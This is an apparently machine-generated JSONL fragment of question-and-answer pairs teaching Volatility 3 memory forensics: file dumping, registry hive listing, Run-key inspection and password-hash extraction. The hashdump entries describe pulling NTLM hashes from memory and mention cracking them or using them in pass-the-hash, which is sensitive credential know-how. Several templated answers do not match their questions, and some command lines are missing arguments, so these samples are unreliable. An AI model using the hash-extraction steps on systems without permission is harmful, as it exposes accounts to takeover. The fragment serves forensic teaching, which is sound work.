"retrieved_at": "2025-12-18T00:11:32.029578Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.029690Z", "updated_at": "2025-12-18T00:11:32.029690Z"} +{"id": "trtp-2894833bbede", "instruction": "What indicators does Volatility 3 help identify?", "output": "Using Volatility 3 for threat detection:\n\nwindows.dumpfiles extracts files from memory based on FILE_OBJECT addresses found by filescan. Can recover deleted or in-use files from memory.\n\nExample:\n```\n# First find file with filescan\nvol -f memory.dmp windows.filescan | grep malware.exe\n\n# Then dump by physical address\nvol -f memory.dmp windows.dumpfiles --physaddr 0xe123456789 -o output_dir/\n```\n\nTips:\n- Get offset from filescan first\n- Not all files can be fully recovered", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsdumpfiles---extract-files", "license": "original", "retrieved_at": "2025-12-18T00:11:32.029578Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.029717Z", "updated_at": "2025-12-18T00:11:32.029717Z"} +{"id": "trtp-3815058a31e3", "instruction": "How do I use Volatility 3 for forensic analysis?", "output": "Forensic analysis with Volatility 3:\n\nwindows.dumpfiles extracts files from memory based on FILE_OBJECT addresses found by filescan. Can recover deleted or in-use files from memory.\n\nForensic applications:\n- Extract malware samples\n- Recover deleted files\n- Dump configuration files\n\nWhat to look for: Files extracted to output directory for further analysis", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsdumpfiles---extract-files", "license": "original", "retrieved_at": "2025-12-18T00:11:32.029578Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.029738Z", "updated_at": "2025-12-18T00:11:32.029738Z"} +{"id": "trtp-7e8062426aee", "instruction": "What's the process for analyzing data with Volatility 3?", "output": "Workflow for windows.dumpfiles - Extract Files:\n\n1. Understand the context: windows.dumpfiles extracts files from memory based on FILE_OBJECT addresses found by filescan. Can recover deleted or in-use files from memory.\n\n2. Apply the tool:\n```\n# First find file with filescan\nvol -f memory.dmp windows.filescan | grep malware.exe\n\n# Then dump by physical address\nvol -f memory.dmp windows.dumpfiles --physaddr 0xe123456789 -o output_dir/\n```\n\n3. Common scenarios: Extract malware samples, Recover deleted files, Dump configuration files\n\n4. Best practices:\n - Get offset from filescan first\n - Not all files can be fully recovered", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsdumpfiles---extract-files", "license": "original", "retrieved_at": "2025-12-18T00:11:32.029578Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.029753Z", "updated_at": "2025-12-18T00:11:32.029753Z"} +{"id": "trtp-082d746013f4", "instruction": "What makes Volatility 3 useful for this task?", "output": "Advantages of Volatility 3:\n\nwindows.dumpfiles extracts files from memory based on FILE_OBJECT addresses found by filescan. Can recover deleted or in-use files from memory.\n\nBest suited for:\n- Extract malware samples\n- Recover deleted files\n- Dump configuration files\n- Extract dropped payloads\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsdumpfiles---extract-files", "license": "original", "retrieved_at": "2025-12-18T00:11:32.029578Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.029792Z", "updated_at": "2025-12-18T00:11:32.029792Z"} +{"id": "trtp-fbd84c55449a", "instruction": "How does Volatility 3 integrate with other security tools?", "output": "Integration points for Volatility 3:\n\nwindows.dumpfiles extracts files from memory based on FILE_OBJECT addresses found by filescan. Can recover deleted or in-use files from memory.\n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsdumpfiles---extract-files", "license": "original", "retrieved_at": "2025-12-18T00:11:32.029578Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.029817Z", "updated_at": "2025-12-18T00:11:32.029817Z"} +{"id": "trtp-7b2a6e3e8897", "instruction": "Explain Volatility 3 for security professionals.", "output": "windows.registry.hivelist\n\nwindows.registry.hivelist enumerates registry hives loaded in memory. Shows virtual and physical addresses of each hive for further registry analysis.\n\nPlatform: windows\n\nCommon uses:\n- Enumerate registry hives\n- Find user-specific hives\n- Prepare for registry analysis\n- Identify loaded hives", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsregistryhivelist", "license": "original", "retrieved_at": "2025-12-18T00:11:32.030153Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.030189Z", "updated_at": "2025-12-18T00:11:32.030189Z"} +{"id": "trtp-98e844c9b5c6", "instruction": "What command or query syntax does Volatility 3 use?", "output": "Syntax for Volatility 3:\n\nvol -f windows.registry.hivelist\n\nwindows.registry.hivelist enumerates registry hives loaded in memory. Shows virtual and physical addresses of each hive for further registry analysis.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsregistryhivelist", "license": "original", "retrieved_at": "2025-12-18T00:11:32.030153Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.030213Z", "updated_at": "2025-12-18T00:11:32.030213Z"} +{"id": "trtp-f10258c6b3d2", "instruction": "Give me a practical example of Volatility 3.", "output": "Example of windows.registry.hivelist:\n\n```\nvol -f memory.dmp windows.registry.hivelist\n\nOffset FileFullPath\n0xe12345678900 \\REGISTRY\\MACHINE\\SYSTEM\n0xe23456789000 \\REGISTRY\\MACHINE\\SOFTWARE\n0xe34567890000 \\??\\C:\\Users\\admin\\NTUSER.DAT\n```\n\nInterpretation: Offset used with printkey for specific hive analysis", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsregistryhivelist", "license": "original", "retrieved_at": "2025-12-18T00:11:32.030153Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.030224Z", "updated_at": "2025-12-18T00:11:32.030224Z"} +{"id": "trtp-e5002bf8b9ea", "instruction": "Show me an example of Volatility 3 in action.", "output": "Here is a practical example of Volatility 3:\n\n```\nvol -f memory.dmp windows.registry.hivelist\n\nOffset FileFullPath\n0xe12345678900 \\REGISTRY\\MACHINE\\SYSTEM\n0xe23456789000 \\REGISTRY\\MACHINE\\SOFTWARE\n0xe34567890000 \\??\\C:\\Users\\admin\\NTUSER.DAT\n```\n\nwindows.registry.hivelist enumerates registry hives loaded in memory. Shows virtual and physical addresses of each hive for further registry analysis.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsregistryhivelist", "license": "original", "retrieved_at": "2025-12-18T00:11:32.030153Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.030244Z", "updated_at": "2025-12-18T00:11:32.030244Z"} +{"id": "trtp-900a26ae4a07", "instruction": "When should I use Volatility 3?", "output": "Use cases for Volatility 3:\n\n- Enumerate registry hives\n- Find user-specific hives\n- Prepare for registry analysis\n- Identify loaded hives\n\nwindows.registry.hivelist enumerates registry hives loaded in memory. Shows virtual and physical addresses of each hive for further registry analysis.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsregistryhivelist", "license": "original", "retrieved_at": "2025-12-18T00:11:32.030153Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.030256Z", "updated_at": "2025-12-18T00:11:32.030256Z"} +{"id": "trtp-7fa2fbb1bd3b", "instruction": "How do I read Volatility 3 output?", "output": "Interpreting Volatility 3 output:\n\nOffset used with printkey for specific hive analysis\n\nExample output:\n```\nvol -f memory.dmp windows.registry.hivelist\n\nOffset FileFullPath\n0xe12345678900 \\REGISTRY\\MACHINE\\SYSTEM\n0xe23456789000 \\REGISTRY\\MACHINE\\SOFTWARE\n0xe34567890000 \\??\\C:\\Users\\admin\\NTUSER.DAT\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsregistryhivelist", "license": "original", "retrieved_at": "2025-12-18T00:11:32.030153Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.030269Z", "updated_at": "2025-12-18T00:11:32.030269Z"} +{"id": "trtp-d22d718a9b92", "instruction": "What best practices should I follow when using Volatility 3?", "output": "Tips for using Volatility 3:\n\n- NTUSER.DAT = user registry hive\n- SYSTEM and SOFTWARE are key security hives\n- Use offset with printkey\n\nUseful for: Enumerate registry hives, Find user-specific hives, Prepare for registry analysis", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsregistryhivelist", "license": "original", "retrieved_at": "2025-12-18T00:11:32.030153Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.030290Z", "updated_at": "2025-12-18T00:11:32.030290Z"} +{"id": "trtp-b11a2fcf6efa", "instruction": "How do I use Volatility 3 for threat detection?", "output": "Using Volatility 3 for threat detection:\n\nwindows.registry.hivelist enumerates registry hives loaded in memory. Shows virtual and physical addresses of each hive for further registry analysis.\n\nExample:\n```\nvol -f memory.dmp windows.registry.hivelist\n\nOffset FileFullPath\n0xe12345678900 \\REGISTRY\\MACHINE\\SYSTEM\n0xe23456789000 \\REGISTRY\\MACHINE\\SOFTWARE\n0xe34567890000 \\??\\C:\\Users\\admin\\NTUSER.DAT\n```\n\nTips:\n- NTUSER.DAT = user registry hive\n- SYSTEM and SOFTWARE are key security hives", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsregistryhivelist", "license": "original", "retrieved_at": "2025-12-18T00:11:32.030153Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.030315Z", "updated_at": "2025-12-18T00:11:32.030315Z"} +{"id": "trtp-439123b9e1b4", "instruction": "What evidence can Volatility 3 help uncover?", "output": "Forensic analysis with Volatility 3:\n\nwindows.registry.hivelist enumerates registry hives loaded in memory. Shows virtual and physical addresses of each hive for further registry analysis.\n\nForensic applications:\n- Enumerate registry hives\n- Find user-specific hives\n- Prepare for registry analysis\n\nWhat to look for: Offset used with printkey for specific hive analysis", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsregistryhivelist", "license": "original", "retrieved_at": "2025-12-18T00:11:32.030153Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.030327Z", "updated_at": "2025-12-18T00:11:32.030327Z"} +{"id": "trtp-67451b0601df", "instruction": "What is the typical workflow for using Volatility 3?", "output": "Workflow for windows.registry.hivelist:\n\n1. Understand the context: windows.registry.hivelist enumerates registry hives loaded in memory. Shows virtual and physical addresses of each hive for further registry analysis.\n\n2. Apply the tool:\n```\nvol -f memory.dmp windows.registry.hivelist\n\nOffset FileFullPath\n0xe12345678900 \\REGISTRY\\MACHINE\\SYSTEM\n0xe23456789000 \\REGISTRY\\MACHINE\\SOFTWARE\n0xe34567890000 \\??\\C:\\Users\\admin\\NTUSER.DAT\n```\n\n3. Common scenarios: Enumerate registry hives, Find user-specific hives, Prepare for registry analysis\n\n4. Best practices:\n - NTUSER.DAT = user registry hive\n - SYSTEM and SOFTWARE are key security hives", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsregistryhivelist", "license": "original", "retrieved_at": "2025-12-18T00:11:32.030153Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.030349Z", "updated_at": "2025-12-18T00:11:32.030349Z"} +{"id": "trtp-b4f5d2915d87", "instruction": "What are the advantages of Volatility 3 for security analysis?", "output": "Advantages of Volatility 3:\n\nwindows.registry.hivelist enumerates registry hives loaded in memory. Shows virtual and physical addresses of each hive for further registry analysis.\n\nBest suited for:\n- Enumerate registry hives\n- Find user-specific hives\n- Prepare for registry analysis\n- Identify loaded hives\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsregistryhivelist", "license": "original", "retrieved_at": "2025-12-18T00:11:32.030153Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.030363Z", "updated_at": "2025-12-18T00:11:32.030363Z"} +{"id": "trtp-61e884214584", "instruction": "How does Volatility 3 integrate with other security tools?", "output": "Integration points for Volatility 3:\n\nwindows.registry.hivelist enumerates registry hives loaded in memory. Shows virtual and physical addresses of each hive for further registry analysis.\n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsregistryhivelist", "license": "original", "retrieved_at": "2025-12-18T00:11:32.030153Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.030393Z", "updated_at": "2025-12-18T00:11:32.030393Z"} +{"id": "trtp-bde019be394a", "instruction": "Describe windows.registry.printkey.", "output": "windows.registry.printkey\n\nwindows.registry.printkey reads registry keys and values from memory hives. Can traverse persistence keys, run keys, and service configurations.\n\nPlatform: windows\n\nCommon uses:\n- Find persistence\n- Check Run keys\n- Analyze services\n- Extract configuration", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsregistryprintkey", "license": "original", "retrieved_at": "2025-12-18T00:11:32.030693Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.030728Z", "updated_at": "2025-12-18T00:11:32.030728Z"} +{"id": "trtp-5f96eccc4e1d", "instruction": "How do I use Volatility 3?", "output": "Syntax for Volatility 3:\n\nvol -f windows.registry.printkey --key \n\nwindows.registry.printkey reads registry keys and values from memory hives. Can traverse persistence keys, run keys, and service configurations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsregistryprintkey", "license": "original", "retrieved_at": "2025-12-18T00:11:32.030693Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.030767Z", "updated_at": "2025-12-18T00:11:32.030767Z"} +{"id": "trtp-6e57922777b7", "instruction": "Give me a practical example of Volatility 3.", "output": "Example of windows.registry.printkey:\n\n```\n# Check Run keys\nvol -f memory.dmp windows.registry.printkey --key 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run'\n\nKey: Run\nLast Write: 2024-01-15 10:30:00\nValues:\n Malware : REG_SZ : C:\\Users\\Public\\malware.exe\n```\n\nInterpretation: Values show registry data - look for suspicious executables in Run keys", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsregistryprintkey", "license": "original", "retrieved_at": "2025-12-18T00:11:32.030693Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.030791Z", "updated_at": "2025-12-18T00:11:32.030791Z"} +{"id": "trtp-f931df0f02bf", "instruction": "Provide an example of using Volatility 3.", "output": "Here is a practical example of Volatility 3:\n\n```\n# Check Run keys\nvol -f memory.dmp windows.registry.printkey --key 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run'\n\nKey: Run\nLast Write: 2024-01-15 10:30:00\nValues:\n Malware : REG_SZ : C:\\Users\\Public\\malware.exe\n```\n\nwindows.registry.printkey reads registry keys and values from memory hives. Can traverse persistence keys, run keys, and service configurations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsregistryprintkey", "license": "original", "retrieved_at": "2025-12-18T00:11:32.030693Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.030802Z", "updated_at": "2025-12-18T00:11:32.030802Z"} +{"id": "trtp-4cbc634d35bb", "instruction": "What are the use cases for Volatility 3?", "output": "Use cases for Volatility 3:\n\n- Find persistence\n- Check Run keys\n- Analyze services\n- Extract configuration\n\nwindows.registry.printkey reads registry keys and values from memory hives. Can traverse persistence keys, run keys, and service configurations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsregistryprintkey", "license": "original", "retrieved_at": "2025-12-18T00:11:32.030693Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.030830Z", "updated_at": "2025-12-18T00:11:32.030830Z"} +{"id": "trtp-92434f6ad380", "instruction": "Explain the output of Volatility 3.", "output": "Interpreting Volatility 3 output:\n\nValues show registry data - look for suspicious executables in Run keys\n\nExample output:\n```\n# Check Run keys\nvol -f memory.dmp windows.registry.printkey --key 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run'\n\nKey: Run\nLast Write: 2024-01-15 10:30:00\nValues:\n Malware : REG_SZ : C:\\Users\\Public\\malware.exe\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsregistryprintkey", "license": "original", "retrieved_at": "2025-12-18T00:11:32.030693Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.030858Z", "updated_at": "2025-12-18T00:11:32.030858Z"} +{"id": "trtp-0a0ad554077c", "instruction": "What are some tips for using Volatility 3?", "output": "Tips for using Volatility 3:\n\n- Check common persistence keys\n- Look for encoded commands\n- Compare against known-good baseline\n\nUseful for: Find persistence, Check Run keys, Analyze services", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsregistryprintkey", "license": "original", "retrieved_at": "2025-12-18T00:11:32.030693Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.030877Z", "updated_at": "2025-12-18T00:11:32.030877Z"} +{"id": "trtp-92389d69b6e4", "instruction": "What indicators does Volatility 3 help identify?", "output": "Using Volatility 3 for threat detection:\n\nwindows.registry.printkey reads registry keys and values from memory hives. Can traverse persistence keys, run keys, and service configurations.\n\nExample:\n```\n# Check Run keys\nvol -f memory.dmp windows.registry.printkey --key 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run'\n\nKey: Run\nLast Write: 2024-01-15 10:30:00\nValues:\n Malware : REG_SZ : C:\\Users\\Public\\malware.exe\n```\n\nTips:\n- Check common persistence keys\n- Look for encoded commands", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsregistryprintkey", "license": "original", "retrieved_at": "2025-12-18T00:11:32.030693Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.030892Z", "updated_at": "2025-12-18T00:11:32.030892Z"} +{"id": "trtp-cbb5dabe375e", "instruction": "How do forensic investigators use Volatility 3?", "output": "Forensic analysis with Volatility 3:\n\nwindows.registry.printkey reads registry keys and values from memory hives. Can traverse persistence keys, run keys, and service configurations.\n\nForensic applications:\n- Find persistence\n- Check Run keys\n- Analyze services\n\nWhat to look for: Values show registry data - look for suspicious executables in Run keys", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsregistryprintkey", "license": "original", "retrieved_at": "2025-12-18T00:11:32.030693Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.030928Z", "updated_at": "2025-12-18T00:11:32.030928Z"} +{"id": "trtp-c81cbb3c9a98", "instruction": "What is the typical workflow for using Volatility 3?", "output": "Workflow for windows.registry.printkey:\n\n1. Understand the context: windows.registry.printkey reads registry keys and values from memory hives. Can traverse persistence keys, run keys, and service configurations.\n\n2. Apply the tool:\n```\n# Check Run keys\nvol -f memory.dmp windows.registry.printkey --key 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run'\n\nKey: Run\nLast Write: 2024-01-15 10:30:00\nValues:\n Malware : REG_SZ : C:\\Users\\Public\\malware.exe\n```\n\n3. Common scenarios: Find persistence, Check Run keys, Analyze services\n\n4. Best practices:\n - Check common persistence keys\n - Look for encoded commands", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsregistryprintkey", "license": "original", "retrieved_at": "2025-12-18T00:11:32.030693Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.030955Z", "updated_at": "2025-12-18T00:11:32.030955Z"} +{"id": "trtp-85edc87bba70", "instruction": "What are the advantages of Volatility 3 for security analysis?", "output": "Advantages of Volatility 3:\n\nwindows.registry.printkey reads registry keys and values from memory hives. Can traverse persistence keys, run keys, and service configurations.\n\nBest suited for:\n- Find persistence\n- Check Run keys\n- Analyze services\n- Extract configuration\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsregistryprintkey", "license": "original", "retrieved_at": "2025-12-18T00:11:32.030693Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.030969Z", "updated_at": "2025-12-18T00:11:32.030969Z"} +{"id": "trtp-959408fe5932", "instruction": "How does Volatility 3 integrate with other security tools?", "output": "Integration points for Volatility 3:\n\nwindows.registry.printkey reads registry keys and values from memory hives. Can traverse persistence keys, run keys, and service configurations.\n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsregistryprintkey", "license": "original", "retrieved_at": "2025-12-18T00:11:32.030693Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.030996Z", "updated_at": "2025-12-18T00:11:32.030996Z"} +{"id": "trtp-2f7e9d4e0d88", "instruction": "How do security analysts use Volatility 3?", "output": "windows.hashdump - Password Hashes\n\nwindows.hashdump extracts password hashes (LM/NTLM) from the SAM registry hive in memory. Requires SYSTEM and SAM hives to decrypt the hashes.\n\nPlatform: windows\n\nCommon uses:\n- Extract password hashes\n- Identify compromised accounts\n- Check for backdoor accounts\n- Password cracking prep", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowshashdump---password-hashes", "license": "original", "retrieved_at": "2025-12-18T00:11:32.031301Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.031339Z", "updated_at": "2025-12-18T00:11:32.031339Z"} +{"id": "trtp-d2069c1b3f15", "instruction": "How do I use Volatility 3?", "output": "Syntax for Volatility 3:\n\nvol -f windows.hashdump\n\nwindows.hashdump extracts password hashes (LM/NTLM) from the SAM registry hive in memory. Requires SYSTEM and SAM hives to decrypt the hashes.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowshashdump---password-hashes", "license": "original", "retrieved_at": "2025-12-18T00:11:32.031301Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.031364Z", "updated_at": "2025-12-18T00:11:32.031364Z"} +{"id": "trtp-c1a23078fdd9", "instruction": "How would I use Volatility 3 for Extract password hashes?", "output": "Example of windows.hashdump - Password Hashes:\n\n```\nvol -f memory.dmp windows.hashdump\n\nUser RID LMHash NTHash\nAdministrator 500 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0\nbackdoor 1001 aad3b435b51404eeaad3b435b51404ee 5f4dcc3b5aa765d61d8327deb882cf99\n```\n\nInterpretation: LM hash of aad3b... = empty LM hash. NT hash can be cracked or used in pass-the-hash.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowshashdump---password-hashes", "license": "original", "retrieved_at": "2025-12-18T00:11:32.031301Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.031376Z", "updated_at": "2025-12-18T00:11:32.031376Z"} +{"id": "trtp-3500e01a6844", "instruction": "Give me a practical example of Volatility 3.", "output": "Here is a practical example of Volatility 3:\n\n```\nvol -f memory.dmp windows.hashdump\n\nUser RID LMHash NTHash\nAdministrator 500 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0\nbackdoor 1001 aad3b435b51404eeaad3b435b51404ee 5f4dcc3b5aa765d61d8327deb882cf99\n```\n\nwindows.hashdump extracts password hashes (LM/NTLM) from the SAM registry hive in memory. Requires SYSTEM and SAM hives to decrypt the hashes.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowshashdump---password-hashes", "license": "original", "retrieved_at": "2025-12-18T00:11:32.031301Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.031397Z", "updated_at": "2025-12-18T00:11:32.031397Z"} +{"id": "trtp-4c6c19dd80bf", "instruction": "What are the use cases for Volatility 3?", "output": "Use cases for Volatility 3:\n\n- Extract password hashes\n- Identify compromised accounts\n- Check for backdoor accounts\n- Password cracking prep\n\nwindows.hashdump extracts password hashes (LM/NTLM) from the SAM registry hive in memory. Requires SYSTEM and SAM hives to decrypt the hashes.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowshashdump---password-hashes", "license": "original", "retrieved_at": "2025-12-18T00:11:32.031301Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.031409Z", "updated_at": "2025-12-18T00:11:32.031409Z"} +{"id": "trtp-d72eee6fa878", "instruction": "How do I interpret Volatility 3 output?", "output": "Interpreting Volatility 3 output:\n\nLM hash of aad3b... = empty LM hash. NT hash can be cracked or used in pass-the-hash.\n\nExample output:\n```\nvol -f memory.dmp windows.hashdump\n\nUser RID LMHash NTHash\nAdministrator 500 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0\nbackdoor 1001 aad3b435b51404eeaad3b435b51404ee 5f4dcc3b5aa765d61d8327deb882cf99\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", 